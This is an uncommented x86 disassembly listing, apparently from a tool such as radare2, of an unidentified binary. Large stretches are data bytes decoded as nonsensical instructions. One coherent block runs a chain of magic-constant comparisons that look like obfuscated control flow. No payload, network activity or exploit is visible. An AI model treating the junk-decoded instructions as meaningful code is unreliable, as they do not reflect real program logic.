fist word [ebx]
and byte [ebp + ebp*8 + 0x7f], ah
rcl byte [edi - 0x68], cl
inc edx
add eax, 0xfc5d4cf3
cmp byte [ebp - 0x3477162f], ch
pop edi
and byte [esi], dl
clc
fisub word [edx + 0x6ffd7a50]
inc edi
int1
adc byte [ecx], ah
push eax
dec byte [edi]
test eax, 0xb5f05869
dec ebp
jmp 0xe79eb05c
pop gs
imul ebx, dword [eax - 0x10], 0x47e94db5
push ds
xchg dword [ecx - 0x44], edi
jg 0x6e17928e
jge 0x6e1791cb
insd dword es:[edi], dx
scasb al, byte es:[edi]
xor eax, 0x7cdf20b3
adc ebp, dword [esi + 0xc]
inc eax
adc eax, 0xe1e9cc90
pop ebp
add byte [eax], al
sub al, 0x1a
jo 0x6e1791ec
pop ebp
bound eax, qword [edi - 7]
popal
inc eax
movsd dword es:[edi], dword [esi]
lodsb al, byte [esi]
shl byte [eax], cl
jl 0x6e179224
out 0x54, eax
push esp
jge 0x6e179209
sal dword [edi - 0x3b], 0x54
push cs
invalid
int 0x8e
push 0xffffffffffffffbd
mov eax, dword [0xeca3e5f7]
fild qword [ebx - 0x42]
cld
call 0xe646ab61
scasb al, byte es:[edi]
push ss
jo 0x6e17923c
cdq
invalid
dec esi
nop
int3
pushfd
imul ecx, dword [ebx + 0x1a35bcf6], 0x2c4b049d
jmp 0x6e17a99d
and byte [ebx], bh
pop ecx
out 0x8a, al
sub byte [ebx - 0x7539d10e], al
shr dword [edx], cl
pop eax
invalid
sbb eax, 0xea5cfe2d
and esi, dword [0x4478575]
mov al, byte [0xf2513e22]
div bh
add cl, byte [eax]
or eax, 0x52e8cad5
mov eax, 0x5a6f5760
aad 0xca
call 0xc5787939
outsd dx, dword [esi]
pop edx
ror eax, 1
jge 0x6e17c129
jp 0x6e17c0a4
mov ecx, 0xaadbc13b
loope 0x6e17c14a
cmpsb byte [esi], byte es:[edi]
pop eax
mov bh, 6
cmp dword [esi + 0x737ca7a2], ebx
jp 0x6e17c0f0
aas
push cs
cmp dword [0xbc261a4e], esi
dec ecx
fnstsw word [ecx + 0x951776d]
sub ah, byte [esi + eax*8]
daa
nop
int3
js 0x6e17c0e8
dec edi
push ss
loopne 0x6e17c0e0
sub byte [esi], al
inc eax
wait
dec ecx
jb 0x6e17c0cb
mov eax, dword [0xacaff8f4]
xlatb
cwde
sub al, 0x86
lodsb al, byte [esi]
adc eax, 0xd94b8eb9
and edx, edx
cmp al, 0x19
hlt
dec ebx
fldenv [ebx]
sar byte [ecx + ebx], cl
test esi, 0xec224fec
push ebp
xor al, 0x83
or dword [ebx + 0x2f], 0x43f10d5c
int1
inc ebx
jge 0x6e17c0f5
xor dword [eax - 0x4c9f773e], eax
leave
mov edx, 0x376f5cdc
push 0x6b
cmp dh, byte [ebp - 0xe7cd816]
test dword [ebx], eax
and dword [edx - 0x7e23c37b], esi
push ecx
add ah, bl
in eax, 0xb4
inc edi
jnp 0x6e17c136
retf
int1
dec edx
daa
ljmp 0x4b61
nop
jmp 0x6e17f00e
nop
lea eax, [ebp - 0x30a]
mov dword [esp], eax
call fcn.6dd6817f
sub esp, 4
lea edx, [ebp - 0x384]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.6dc665ce
sub esp, 8
mov dword [0x6e93d00c], eax
mov dword [ebp - 0x2e0], 0xd5a74
mov dword [ebp - 0x2dc], 0
mov dword [ebp - 0x2e8], 0x9ce63
mov dword [ebp - 0x2e4], 0
mov eax, dword [ebp - 0x2e0]
mov edx, dword [ebp - 0x2dc]
sub eax, dword [ebp - 0x2e8]
sbb edx, dword [ebp - 0x2e4]
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x2ec], edx
mov eax, dword [ebp - 0x2f0]
xor eax, 0xedeb2
or eax, dword [ebp - 0x2ec]
je 0x6e1809c4
mov edx, 0xedeb2
mov eax, 0
cmp edx, dword [ebp - 0x2f0]
sbb eax, dword [ebp - 0x2ec]
jl 0x6e18c581
mov eax, dword [ebp - 0x2f0]
xor eax, 0xeaedc
or eax, dword [ebp - 0x2ec]
je 0x6e189694
mov edx, 0xeaedc
mov eax, 0
cmp edx, dword [ebp - 0x2f0]
sbb eax, dword [ebp - 0x2ec]
jl 0x6e18c581
mov eax, dword [ebp - 0x2f0]
xor eax, 0xd9691
or eax, dword [ebp - 0x2ec]
je 0x6e18213c
mov edx, 0xd9691
mov eax, 0
cmp edx, dword [ebp - 0x2f0]
sbb eax, dword [ebp - 0x2ec]
jl 0x6e18c581
mov eax, dword [ebp - 0x2f0]
xor eax, 0xce6d9
or eax, dword [ebp - 0x2ec]
je 0x6e1838b4
mov edx, 0xce6d9
mov eax, 0
cmp edx, dword [ebp - 0x2f0]
sbb eax, dword [ebp - 0x2ec]
jl 0x6e18c581
mov eax, dword [ebp - 0x2f0]
xor eax, 0xc9673
or eax, dword [ebp - 0x2ec]
je 0x6e18ae0c
mov edx, 0xc9673
mov eax, 0
cmp edx, dword [ebp - 0x2f0]
sbb eax, dword [ebp - 0x2ec]
jl 0x6e18c581
mov eax, dword [ebp - 0x2f0]
xor eax, 0x73798
or eax, dword [ebp - 0x2ec]
je 0x6e1867a4
mov edx, 0x73798
mov eax, 0
cmp edx, dword [ebp - 0x2f0]
sbb eax, dword [ebp - 0x2ec]
jl 0x6e18c581
mov eax, dword [ebp - 0x2f0]
xor eax, 0x57a77
or eax, dword [ebp - 0x2ec]
je 0x6e18502c
mov edx, 0x57a77
mov eax, 0
cmp edx, dword [ebp - 0x2f0]
sbb eax, dword [ebp - 0x2ec]
jl 0x6e18c581
mov eax, dword [ebp - 0x2f0]
xor eax, 0x3b582
or eax, dword [ebp - 0x2ec]
je 0x6e17f24c
mov edx, 0x3b582
mov eax, 0
cmp edx, dword [ebp - 0x2f0]
sbb eax, dword [ebp - 0x2ec]
jl 0x6e18c581
mov eax, dword [ebp - 0x2f0]
xor eax, 0x25e16
or eax, dword [ebp - 0x2ec]
je 0x6e187f1c
mov eax, dword [ebp - 0x2f0]
xor eax, 0x38c11
or eax, dword [ebp - 0x2ec]
je 0x6e18c584
jmp 0x6e18c581
adc al, byte [edx + 0x5f]
rol esp, 1
mov ebx, 0x2ea2f342
mov eax, dword [0x4f319174]
or eax, 0x5340b97
pop edx
push eax
adc dword [edx], 0xbed409a9
cmp dword [ecx - 0xa10a8c6], ebx
shr byte [ebx + 2], cl
invalid
inc edi
sbb eax, 0x3e523671
xor eax, 0xacc0db16
iretd
sti
fcomp dword [edi]
push 0x8854ce06
adc eax, 0xbc1bd845
push es
into
push esp
mov byte [0xbc1bd845], dl
sub dh, byte [eax + ebx*2 + 0x14]
pop ebp
push ebp
jne 0x6e182115
jb 0x6e18219d
mov edi, 0xc2516f
jne 0x6e182171
mov dh, 0xb3
xchg ecx, edx
test ah, bl
nop
int3
xlatb
out dx, eax
mov al, byte [0x1214d407]
jae 0x6e18213e
inc ebp
push edi
mov eax, dword [0x9b73682c]
pop eax
adc ebp, edx
push ds
cmp cl, bl
adc bh, al
loopne 0x6e182163
push edi
push ss
mov dl, byte [eax]
cli
push edx
add esi, eax
jmp 0x6e182111
scasb al, byte es:[edi]
mov es, eax
out 0x35, al
dec ebp
xor dword [edx - 0x23aa650e], edi
inc ebx
pop ebx
or edi, dword [ebp + 0x74]
cli
into
sub eax, 0x962c1bb9
pop ds
jnp 0x6e182131
cmp esi, dword [esi]
and byte [ebx - 0x1b], al
inc ebp
ret
xlatb
wait
js 0x6e1821b7
push ss
hlt
xchg esi, eax
in eax, 0xa0
lea esp, [eax + 0x35522676]
sub dword [ebp + 0x546728c1], ebx
fld xword [esi + edi*8 + 0x73]
or byte [eax*8 - 0x1329b635], ch
jns 0x6e182154
add edx, dword [esi + 0x1d2e3202]
shr byte [edx], cl
mov cl, 0xec
xchg ecx, eax
adc edi, dword [esi - 0x6896a797]
int3
dec esp
imul esi, edi, 0xc28410a9
push sp
movzx ebx, byte ds:[eax]
sbb al, 0x23
sti
pop edx
xchg ebx, eax
in al, dx
neg dword [eax + edi]
add eax, 0xfd1c04e4
mov edi, 0x5630aee6
invalid
pop eax
into
sal dword [eax - 0x5939b332], cl
xor eax, 0x8447adeb
push ecx
invalid
cmp byte [ebx - 5], 0xf8
dec eax
pop esp
xchg ebp, eax
stosd dword es:[edi], eax
dec ecx
cmpsb byte [esi], byte es:[edi]
mov byte [edx + ebx*4 - 0x6e79ac8a], ah
add dword [ecx], esi
add ecx, 0xffffffa7
push ebx
jnp 0x6e186744
xor al, byte [ecx - 0x53]
or dh, 0x46
mov word [ebx], cs
cmpsd dword [esi], dword es:[edi]
ljmp 0xf942
xor dl, byte [eax]
dec ebx
xor dh, byte [ebp - 2]
sbb ebx, esi
sbb dword [esi - 0x43d3a0cd], 0x7c969707
je 0x6e186744
sub byte [ecx], ah
out dx, eax
mov ecx, 0x5a9751cc
stc
dec ebp
int3
jbe 0x688a3c97
retf 0xcc69
in al, 0x8d
invalid
inc ebx
mov esi, 0x42b9471
cmp al, 0x47
aaa
test eax, 0x94d9cd9a
jne 0x6e189668
idiv byte [eax]
mov ecx, 0x9276e944
sbb dword [esi + 0x7e], 0xdbe82a26
mov esi, 0x8569630a
jle 0x6e1896d6
sub ch, al
fstp xword [esi - 0x7a969cf6]
inc eax
xor bh, byte [esi + 0xd]
or al, 0xe8
inc ebx
enter 0x38da, 0xffffffffffffffad
push 0xa01d90b3
and ecx, dword [esi + 0x5d300219]
pop es
and dword [edx + esi*8], ecx
sub eax, 0xc04e3207
aas
cmp dword [edx + 0x45eb065b], 0x3b
in al, dx
sar byte [edi], 0x83
mov edx, 0x45eb065b
cmp ebp, esp
aaa
scasd eax, dword es:[edi]
arpl word [eax + 0x7429578f], si
jge 0x6e18970f
pop ebp
cli
cmc
mov ch, pe_nt_image_headers32
mov dword [esi - 0x7f748188], 0x15dbe4ed
salc
jg 0x6e1896ae
xchg byte [esi + edi*8 - 0x5a], al
loopne 0x6e18973a
pop ebp
cwde
invalid
add byte [edi + 0x406c53b6], al
pop ebx
jbe 0x6e1896e1
invalid
push cs
push eax
out 0xb6, al
sbb ebp, dword [ebp + 0x5875b75e]
in eax, 0xaf
push edx
ret
int3
nop
jmp 0x6e18c585
nop
lea eax, [ebp - 0x30a]
mov dword [esp], eax
call fcn.6dd6817f
sub esp, 4
lea edx, [ebp - 0x397]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.6dc665ce
sub esp, 8
mov dword [0x6e93d014], eax
nop
mov ebx, dword [ebp - 4]
leave
ret